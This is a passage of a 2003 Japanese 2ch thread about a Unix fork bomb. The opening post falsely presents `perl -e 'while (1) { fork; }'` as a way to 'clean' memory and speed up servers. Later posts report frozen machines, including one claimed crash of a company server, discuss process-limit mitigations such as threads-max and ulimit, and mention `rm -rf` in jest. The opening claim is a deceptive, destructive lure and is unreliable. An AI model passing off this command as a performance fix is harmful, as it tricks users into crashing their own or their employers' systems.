1 名前:名無しさん@お腹いっぱい。 [03/06/19 01:31.net] UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの メモリを簡単にクリーニングできます。やり方は、コマンドラインで、 $ perl -e 'while (1) { fork; }' とタイプするだけです。 これでディスクキャッシュになっていたメモリが解放されて、 若干処理が軽くなります。Webサーバ等では数%レスポンスが よくなります。GUIを使っている場合では体感的に早くなったと わかるでしょう。
151 名前:おむこさん志望 ◆QtGqCwfDSA mailto:ちょと面白いネタだけど糞スレなので sage [03/06/26 20:10.net] Linux 2.5.72/Celeron 1.4G/384MB で試した結果、ユーザの最大プロセス数が 大きい値( Debian sid で 3071 )でかつカーネルパラメータを特に変更せずに >>1 をやると結構辛い(一応再起動せずに終了できたけど。) >>84 /proc/sys/kernel/threads-max をもっと小さめ(デフォルトで6000)に制限して おくと unlimited でもハングアップしなくなるよ。 NetBSD 1.6.1 では、ユーザ側でたとえ最大プロセス数が unlimited でも /netbsd: proc: table is full - increase kern.maxproc or NPROC と >>83 みたいに デフォルトの値が小さめになってる(というか Linux のデフォルトがまずいのか)ので 問題なく終了できた。
152 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:12.net] ほらLinuxはウンコだ。 Windowsは自己防御のために再起動してくれる親切設計なのにね。 Linuxは時代遅れ決定(ゲラゲラ
153 名前:名無しさん@お腹いっぱい。 mailto:age [03/06/26 20:13.net] Linuxウンコ記念age
154 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:15.net] >>152 禿しく何かが違う気がするが (ーё一)キノセーニャ。
155 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:17.net] ネ タ で す か らw
156 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:18.net] Windowsはユーザに見苦しいエラーメッセージを見せず 鮮かなブルーの画面で、ユーザーの心を癒し ユーザーの手間を煩わせず自動で再起動。 それまでの作業中のファイルは、ユーザー教育のために一から作成させる すばらしい心意気。
157 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:18.net] プロセス数制限すると大丈夫ってことで じゃあ制限を外すとどうなるのかってのが気になる
158 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:18.net] と、こんな感じ?w
159 名前:157 mailto:sage [03/06/26 20:19.net] すまんそ
160 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:20.net] いえいえ。
161 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:25.net] >>156 しかも、画面の色が赤とか黒とかではなく、 世界で最も愛される色・気持ちを落ち着かせてくれる色である 「青」というのが大きなポイントだね。
162 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:26.net] そう、エラーという不測の自体を 癒しにかえてくれる素敵なWindows
163 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:30.net] 最近は謝ってくれるらしいし
164 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/26 20:33.net] XPか。 そういや、Gentoo Linux 使ってみたら su Password: su: Authentication failure 申し訳ございません. 陳謝ブームか?
165 名前:名無しさん@お腹いっぱい。 [03/06/27 00:54.net] >>143 神!!!
166 名前: mailto:sage [03/06/27 05:31.net] >>143 sudoers に、catが登録されてません
167 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/27 13:09.net] >>166 suしてくらさい
168 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/27 14:16.net] そうっsuか。
169 名前:名無しさん@お腹いっぱい。 [03/06/27 16:01.net] kernel.orgで誰か試したな。ワラタ。
170 名前:名無しさん@お腹いっぱい。 [03/06/28 00:37.net] load averages最高記録はこのスレでよいですか?
171 名前:名無しさん@お腹いっぱい。 [03/06/28 01:11.net] >>170 漏れは300いった。
172 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 01:56.net] うほっ!けっこうマジメな動作報告スレと化してるじゃん。ワロータ 犬糞馬糞のほかはどうなんよ? この際、商用ウニ糞での結果の方が重要だろ(とマジメぶってみる
173 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 02:09.net] こういうのはさ、 「一般ユーザがソシアルハックなしに そのマシンを動作不能にできるのはバグである」 というような考え方なのかな。
174 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 02:11.net] バグとは違う様な
175 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 02:11.net] つーか物言いが極端なヤシだな
176 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 02:58.net] これをバグというなら、アクセルいきなり床まで踏んで尻を 振ってしまうような車は欠陥車、とかいう話になる。
177 名前:173 mailto:sage [03/06/28 03:27.net] バグってのは極端な言い方だったけど、 そういう考え方をどっかで聞いたことがあったのよ。 「UNIX は性善説のシステム」とかだったかな。 win, mac も同じだが。 ATM が一般ユーザにとめられたらバグという表現になるんだろうけどな。 自由度と堅牢性の両立の問題だな。
178 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 04:04.net] それはメインフレームとの比較で使われる言葉かと。 あとはMulticsとの比較とか。 確かに性善説ではあるが、利便性とのドレードオフで 使い易く・軽いシステムに成った。 # 最近は肥大化で重ーくなりつつあるが・・・
179 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 16:36.net] ドレードオフ?
180 名前:46 mailto:sage [03/06/28 16:44.net] >>レスをいただいた皆様。 46です。なんかが、目をはなしているうちに嘘つきよばわりされているので.... P4+RAM512M+スワップ512M に 素の2.4.20(パッチなし) + RedHat7.3由来のユーザランド で、既に起動していたXのプログラム, Xサーバ自身, デーモン類 もおちていきました。 最終的になにがのこったのかはtopが殺されてからはわからなくなりましたが、 操作ができなくなったため最終的には電源を遮断しました。
181 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 16:47.net] PCの性能それ激しく劣るけども、ほぼ同等の状態があるので テストしてみました。 ほんとに落ちるのだろうか、まだ落ちる気配もない。
182 名前:181 mailto:sage [03/06/28 16:52.net] >>180 はデーモン何動かしてるんだろ うちは今、sshdとsamba,apacheえーとあとX(xdm)と、xinetdでtimedとかechoとか諸々。 それとdbskkd-cdbくらいかな。 MMX pentium 200Mhz Mem96MB。 普通に使っててもメモリ不足気味な状態です。
183 名前:46 mailto:sage [03/06/28 17:07.net] >>180 捕捉。 no more processes? がでるまで数分かかりました。10分いかないぐらいでプ ロセスの欠落が始まりました。no more process なら、それ以上メモリくわな いと思うのに、なんでそのあとoom-killに見える状況なんだろ、COWの挙動? 電源遮断は40分後です。
184 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 17:14.net] >>180 1. rootでやったのか? 2. プロセス数制限はあったのか?
185 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/28 19:55.net] >>184 root で 全unlimitです。
186 名前:名無しさん@お腹いっぱい。 [03/06/29 01:51.net] 会社のサーバーにSSHで繋いでリモートからroot になったあと実行。 OS はRedHatだが、固まった。 結構重要なシステムなので漏れは首だな。 首ですむならまだいいが、損害も出るだろうから もう終りだ。2chに書いてあったから試してみたなんて 言えるはずが無い。 あああああ。
187 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/29 01:58.net] ホームラン級のバカだな。 なんでソラリスでやったとかAIXでやったとか いう書き込みがないのか、今なら分かるだろ?
188 名前:名無しさん@お腹いっぱい。 mailto:age [03/06/29 02:19.net] >>186 のメジャー移籍が決定しますた
189 名前:名無しさん@お腹いっぱい。 [03/06/29 04:05.net] >>186 まぁ、冗談だとは思うけど、仮に事実だとして、 君みたいなのに重要なサーバのroot権限与えてるような会社だったら 原因不明でセーフだろ それに、転職できるチャンスだよ、鯖管は君には向いてないよ。
190 名前:名無しさん@お腹いっぱい。 [03/06/29 10:03.net] プロセステーブル使い果たして落ちるだけだと思うんだが... 普通なら、それ以前にlimitで止められる。
191 名前:名無しさん@お腹いっぱい。 [03/06/29 12:34.net] >>187 スレよく嫁。ネタかもしれんけど一応居たみたいなんだよね・・・ >>190 スレよく嫁。Linux で root だと、できないみたい。というのが現時点での定説。 ただしカーネル2.5系では蘇生可能という説も。
192 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/29 14:44.net] 思わず スレタイ をよく読んでしまい、( ゚Д゚)? となる漏れであった。
193 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/29 16:42.net] >>191 limitは2.4でも出来ますが
194 名前:名無しさん@お腹いっぱい。 [03/06/30 01:34.net] 定説です。
195 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 11:00.net] >>1 # yes > /dev/null ではダメか?
196 名前:名無しさん@お腹いっぱい。 [03/06/30 17:15.net] >>191 ulimit -u 32; perl ... でブロックできてるが、これとは違うのか? --- 2.4.20にて
197 名前:名無しさん@お腹いっぱい。 [03/06/30 21:23.net] >>196 root でやってみてよ! ダメでしょ! おちるでしょ! at Redhat9 kernel になにかパッチとかしたんですか?
198 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 21:25.net] 赤帽は独自にパッチ集めてきて当ててるよ。 むしろ、自前パッチもあたってるな。
199 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 21:30.net] まぁrootはある意味、神なので rm -rf * もできるし limitを超えての操作が出来てもあたりまえなんすかねぇ…(?
200 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 21:41.net] plan9つかえ
201 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 21:59.net] Woody kernel-2.4.18 一般ユーザで実行 完全にフリーズ状態で外部からping以外反応無し 焦ってctrl+alt+delete三十回ほど連打したら何とか再起動 これじゃやばいっす
202 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 22:00.net] plan9使えといっている
203 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 22:03.net] 焦ってctrl+alt+delete三十回ほど連打するヤツがやばいっす
204 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 22:05.net] 三十連打は定説ですYO!
205 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 22:05.net] おまいら無視しないでください p l a n 9 を 使 え と 言 っ て る
206 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 22:07.net] なんすかそれ?
207 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 22:07.net] 死ね>>206
208 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 22:11.net] ・リソース制限かかっていないプロバイダのサーバー ・プロバイダのサーバーのメモリ不足解消CGIと言って公開する厨房 ・それを便利でスゲェと思って使う厨房 3つそろったら最強だな。
209 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 22:14.net] そんなに褒められても困ります
210 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 23:08.net] 連打する意味がわからん。
211 名前:名無しさん@お腹いっぱい。 mailto:sage [03/06/30 23:26.net] linux では >151 の /proc/sys/kernel/threads-max が結論だろ
212 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/01 00:28.net] >>205 で、plan9でやった結果はどうだったんだ?
213 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/01 00:30.net] しらん。 rootとが神云々とか言ってたから plan9ひっぱりだしてきただけだ エーン
214 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/01 00:31.net] Unix系のOSにはプロセスが限界を超えるまで増えたら古いプロセスから順にkillするという実装があったような....
215 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/01 00:32.net] > プロセスが限界を超える とりあえずこれ説明してみて
216 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/01 00:33.net] ということは、initから殺されるわけですな
217 名前:212 mailto:sage [03/07/01 00:34.net] >>213 つまり、plan9と言ってみたかっただけなのね。 plan9にはUnixのrootのようなすべてをつかさどるrootという概念が存在しないだけで memoryを自由に使えるような権限のユーザーでやれば結果は同じのような気がするが。
218 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/01 00:36.net] >>216 すまそ。 古いではなく使われていないだった。 swap outされてるやつから順にkillされていく。 >>215 表現が悪かったね。 processes poolで確保されている量を越えてprocessが作られることを言いたかったわけだけれど。
219 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/01 01:18.net] >>216 それらしい現象をソラリスでみたことがある。 ただしroot じゃなかったが。
220 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/01 03:12.net] >>218 それはメモリ(物理+仮想)食いつぶした時の動作じゃないか? メモリ馬鹿食いするプロセス動かしたらXサーバーがkillされちゃった みたいな。
221 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/01 03:22.net] FreeBSDかNetBSDがランダムにプロセス殺すって記事は見たことあるけど プロセスの重要度なんてカーネルは知らんからね
222 名前:名無しさん@お腹いっぱい。 [03/07/01 04:56.net] Gentoo(gentoo-sources 2.4.20-r5 参考 ttp://www.gentoo.org/doc/ja/gentoo-kernel.xml) では一般ユーザではとくに問題なし。 ストレス無くブラジング出来るし、デーモンも死なない。(ちなみにいま実行しながら入力してます) 止めたくなったらrootでログインして(そのままだとfork failed: リソースが一時的に利用できません となるので) # killall perl でOK。 ただrootでやったときはデーモン等は死なないものの、ほとんど固まってしまって さらに終了させようにもどうにもならなくなったので様子を見て電源ボタンをおしました(泣
223 名前:↑ [03/07/01 04:59.net] 訂正です。 >デーモン等は死なないものの、 途中から確認する術が無くなったので、こう言い切るのは無理がありました。
224 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/01 12:26.net] なかなか面白いデータの取れるスレですね(w
225 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/01 21:44.net] 横槍でゴメン。 このスレは、彼も応援してるヨ〜ン。
226 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/02 00:01.net] 危機管理
227 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/02 04:12.net] root で rm -rf / したら全部消えました。は只の大馬鹿者だし rootで >>1 を動かしたら固まりました、もその仲間ではないか、と。 # sync;sync;sync
228 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/02 08:51.net] >>227 rootってWindowsのAdministratorよりも格段に危険なことできるからねぇ。 >>1 みたいなことをなぜまずrootでやってしまう人がいるのか理解に苦しむ。 いつもrootでログインして、「俺、ミスしないから大丈夫っすよ」と根拠の無い自身を見せつけている人なのかしらん。
229 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/02 12:43.net] >>228 ユーザをrootしか作ってないとか。 友達でLinuxを家のPCに入れてる奴がそうだった。 大学で3年間UNIX使ってたし、 研究室の慣例で1年間、サーバの管理もやってたはずなんだが…
230 名前:うひひ mailto:sage [03/07/02 12:59.net] >>228-229 でもわかってる香具師はrootでイインジャネーノ? userにしろrootにしろファイルをパツイチ消しなんて行為は普通しないし チョイト香ばしいことするときはuserにスイッチするし(うひひ さすがにモレは素人だから普段はuserで使ってるが 家でも会社でもモレ用のWSには一切passwd入ってねーよ マンドクセーことはしない
231 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/02 18:05.net] >>230 ここは釣れませんよ
232 名前:222 [03/07/02 21:23.net] >>224 データを取るためのスレじゃなかったのでしょうか?(笑
233 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/02 21:35.net] >>230 HPユーザ代表つーことで実験結果よろしくw
234 名前:うひひ mailto:sage [03/07/03 00:20.net] >>233 ペロリっていうのが無いです。どーしようもないでつ はにゃくメモリクリアしないとスマップもパンクしてしまいそうです 青いヤシでトントンピーとインスツールしたいので緊急に急いでいまつ おながいしまつ
235 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/03 00:26.net] (`-´).oO(酔っぱらってやがる…)
236 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/03 01:09.net] >>229 管理者教育をちゃんと受けてないんじゃないのか? >>230 いや、わかってないからrootではいっちゃうんだろ。 ...というのはつられたことになるのか?
237 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/03 03:39.net] autologin とか passwd なしは わかるけど、root で作業というのは違うだろう。
238 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/03 10:08.net] >>237 root で日常作業できる人って、きっと「完璧な」バックアップとかしてるんだろうね。 まあ、役割としてadmin な人は別かなぁ、いや、admin の上の人がバックアップ体制 敷いてるのかな ?
239 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/03 17:30.net] 漏れは試験鯖つーかいつも遊んでる鯖があるからあえてrootでいじってる 業務鯖でrootはちょいとこわいですな
240 名前:名無しさん@お腹いっぱい。 [03/07/04 00:07.net] おれ>>1は知らんけど>>61 みたいなやつを会社の実験サーバで耐久テストして ハングしたことあるよ。solarisのすぱーくなんとかだかU1だか忘れたけど100Mhzくらいの ボロいやつで。最近のは知らん。 みんな>>1 ばっか報告してるんで>>61 試して大丈夫か教えてくれよ。
241 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/04 00:30.net] おまいがやれ
242 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/04 18:46.net] ┏━━━━━━━━┓ ┃********┃ ┃********┃ ┃********┃ ┃***○●***┃ ┃***●○***┃ ┃********┃ ┃********┃ ┃********┃ ┗━━━━━━━━┛
243 名前: mailto:sage [03/07/04 18:58.net] オセロ キタ━━━━━━(゚∀゚)━━━━━━ オヤクソク
244 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/04 21:16.net] ┏━━━━━━━━┓ ┃********┃ ┃********┃ ┃***●****┃ ┃***●●***┃ ┃***●○***┃ ┃********┃ ┃********┃ ┃********┃ ┗━━━━━━━━┛
245 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/04 21:42.net] なんでネタがなくなるとオセロなんだよぉ〜萎 つーかおまいらがんがんデータ取りやがれ おながいします。
246 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/04 22:06.net] 取るとどうなるとか、誰か有意にまとめてくれるのかとか、そのへんがわからん。
247 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/04 23:32.net] 有意?にちゃんで? プ
248 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/05 00:05.net] ┏━━━━━━━━┓ ┃○○○○○○○○┃ ┃○******○┃ ┃○**●***○┃ ┃○**●●**○┃ ┃○**●○**○┃ ┃○******○┃ ┃○******○┃ ┃○○○○○○○○┃ ┗━━━━━━━━┛
249 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/05 00:13.net] >>247 は、どんな有意義な事も無意味にしてしまうくらい場が冷める事平気で言う香具師 学校ではいつも独りぼっち
250 名前:名無しさん@お腹いっぱい。 mailto:sage [03/07/05 00:23.net] 有意 != 有意義
251 名前:名無しさん@お腹いっぱい。 [03/07/05 03:23.net] linuxのhdparm(8)を見ると、 Dangerous とか extreme caution という単語がやたら出てくる。 まあDangerousといってもバクハツするわけじゃないだろうし こういうのを使って "簡単!ディスククリーニング" は、できないだろうか。